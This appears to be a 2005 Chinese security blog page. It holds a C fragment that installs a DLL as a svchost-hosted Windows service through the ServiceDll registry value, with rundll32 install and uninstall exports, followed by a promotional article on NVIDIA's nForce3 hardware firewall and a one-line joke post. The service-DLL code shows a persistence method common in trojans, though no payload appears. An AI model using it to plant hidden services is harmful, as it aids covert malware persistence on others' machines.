strncat(buff, svcname, 100);
rc = RegOpenKeyEx(hkRoot, buff, 0, KEY_ALL_ACCESS, &hkRoot);
if(ERROR_SUCCESS != rc)
{
OutputString("RegOpenKeyEx(%s) KEY_SET_value error %d.", svcname, rc);
throw "";
}

 rc = RegCreateKey(hkRoot, "Parameters", &hkParam);
SetLastError(rc);
if(ERROR_SUCCESS != rc)
throw "ReCreateKey(Parameters)";

 if(!GetModuleFileName(HMODULE(hDll), buff, sizeof buff))
throw "GetModuleFileName() get dll path";

 rc = RegSetvalueEx(hkParam, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)buff, strlen(buff)+1);
SetLastError(rc);
if(ERROR_SUCCESS != rc)
throw "RegSetvalueEx(ServiceDll)";

 OutputString("Config service %s ok.", svcname);
}catch(char *str)
{
if(str && str[0])
{
rc = GetLastError();
OutputString("%s error %d", str, rc);
}
}

 RegCloseKey(hkRoot);
RegCloseKey(hkParam);
CloseServiceHandle(schService);
CloseServiceHandle(hscm);

 return rc;
}

/*
used to install by rundll32.exe
Platform SDK: Tools - Rundll32
The Run DLL utility (Rundll32.exe) included in Windows enables you to call functions exported from a 32-bit DLL. These functions must have the following syntax:
*/
void CALLBACK RundllInstallA(
HWND hwnd,// handle to owner window
HINSTANCE hinst,// instance handle for the DLL
char *param,// string the DLL will parse
int nCmdShow// show state
)
{
InstallService(param);
}


int UninstallService(char *name)
{
int rc = 0;
SC_HANDLE schService;
SC_HANDLE hscm;

 __try{
hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hscm == NULL)
{
OutputString("OpenSCManager() error %d", rc = GetLastError() );
return rc;
}

 char *svcname = DEFAULT_SERVICE;
if(name && name[0]) svcname = name;

 schService = OpenService(hscm, svcname, DELETE);
if (schService == NULL)
{
OutputString("OpenService(%s) error %d", svcname, rc = GetLastError() );
return rc;
}

 if (!DeleteService(schService) )
{
OutputString("OpenService(%s) error %d", svcname, rc = GetLastError() );
return rc;
}

 OutputString("DeleteService(%s) SUCCESS.", svcname);
}__except(1)
{
OutputString("Exception Catched 0x%X", GetExceptionCode());
}

 CloseServiceHandle(schService);
CloseServiceHandle(hscm);
return rc;
}

/*
used to uninstall by rundll32.exe
Platform SDK: Tools - Rundll32
The Run DLL utility (Rundll32.exe) included in Windows enables you to call functions exported from a 32-bit DLL. These functions must have the following syntax:
*/
void CALLBACK RundllUninstallA(
HWND hwnd,// handle to owner window
HINSTANCE hinst,// instance handle for the DLL
char *param,// string the DLL will parse
int nCmdShow// show state
)
{
UninstallService(param);
}

//output the debug infor into log file & DbgPrint
void OutputString( char *lpFmt, ... )
{
char buff[1024];
va_listarglist;
va_start( arglist, lpFmt );
_vsnprintf( buff, sizeof buff, lpFmt, arglist );
va_end( arglist );

 DWORD len;
HANDLE herr = GetStdHandle(STD_OUTPUT_HANDLE);
if(herr != INVALID_HANDLE_value)
{
WriteFile(herr, buff, strlen(buff), &len, NULL);
WriteFile(herr, "\r\n", 2, &len, NULL);
}else
{
FILE *fp = fopen("SvcHost.DLL.log", "a");
if(fp)
{
char date[20], time[20];
fprintf(fp, "%s %s - %s\n", _strdate(date), _strtime(time), buff);
if(!stderr) fclose(fp);
}
}

 OutputDebugString(buff);
}

www.sinosec.com

- 作者: Tinker 2005年06月15日, 星期三 16:59  回复(1) |  引用(0) 加入博采

网络安全基础知识之账号安全
网络安全基础知识之账号安全
 

  面对不断“更新”的病毒和攻击技术,你难道不想了解新的安全技术,装备新的安全产品,以保护自己的爱机、绝密的资料吗?不要担心,“安全新秀”将会为你介绍最新的安全技术、资讯,最新的安全产品,让你永远走在安全的前沿。

  对于个人用户来说,主要是依靠基于操作系统的软件网络防火墙(如天网、瑞星等)来保护自己的系统安全,免受黑客和病毒的攻击。但这种传统的安全防御方式有很多令人不满意的地方(如占用过多的系统资源、系统速度变慢、效果不理想等)。最近,NVIDIA公司推出了内置于主板芯片中的NVIDIA原生防火墙,打破了传统的个人网络安全防御方式。

  NVIDIA原生防火墙

  本文所介绍的“硬件”防火墙,并不是在企业网中部署的价格昂贵的硬件级网络防火墙,而是针对个人用户集成于主板芯片中的网络防火墙。NVIDIA公司推出的“nForce3 Ultra MCP”主板芯片组,采用NVIDIA独有的单芯片设计,内置了硬件级的网络防火墙功能和千兆网卡。

  该芯片组采用网络、安全、大容量储存一体化架构,不仅降低了CPU的负担,提高了操作系统性能,还提供了硬件级的网络安全防护,在不安装第三方软件网络防火墙的情况下,能使个人用户免受病毒和黑客的攻击,安全防范效果更为理想。

  如何保护系统安全

  传统的个人软件网络防火墙是基于操作系统,以分析网络层通信协议(TCP和UDP)和访问端口方式来控制网络通信数据信息的。这种方式不但消耗大量的系统资源,使系统速度变慢,而且它防御病毒和黑客恶意攻击的能力较弱,并且很多黑客攻击很容易导致个人网络防火墙失效。

  NVIDIA原生防火墙不同于传统的个人网络防火墙,它内嵌在主板的千兆网卡MAC(媒体访问控制子层)中,基于已有的多种网络通讯协议,从最底层对网络中的通讯数据进行严格过滤。

  它还提供了防IP欺骗、防网络窃听、防片段储存攻击等功能,用于防范黑客和病毒的攻击,保护系统的安全。

  NVIDIA原生防火墙打破了原有的个人网络安全防御格局,开创出一种新的安全防范措施,对于个人用户来说,实在是一款值期待的产品。

- 作者: Tinker 2005年06月15日, 星期三 16:58  回复(1) |  引用(0) 加入博采

量变和质变
摘要:说一遍是陈述,说两遍是反复,说三遍是排比,反反复复说个没完是在开会。 查看全文

- 作者: Tinker 2005年06月14日, 星期二 15:40  回复(1) |  引用(0) 加入博采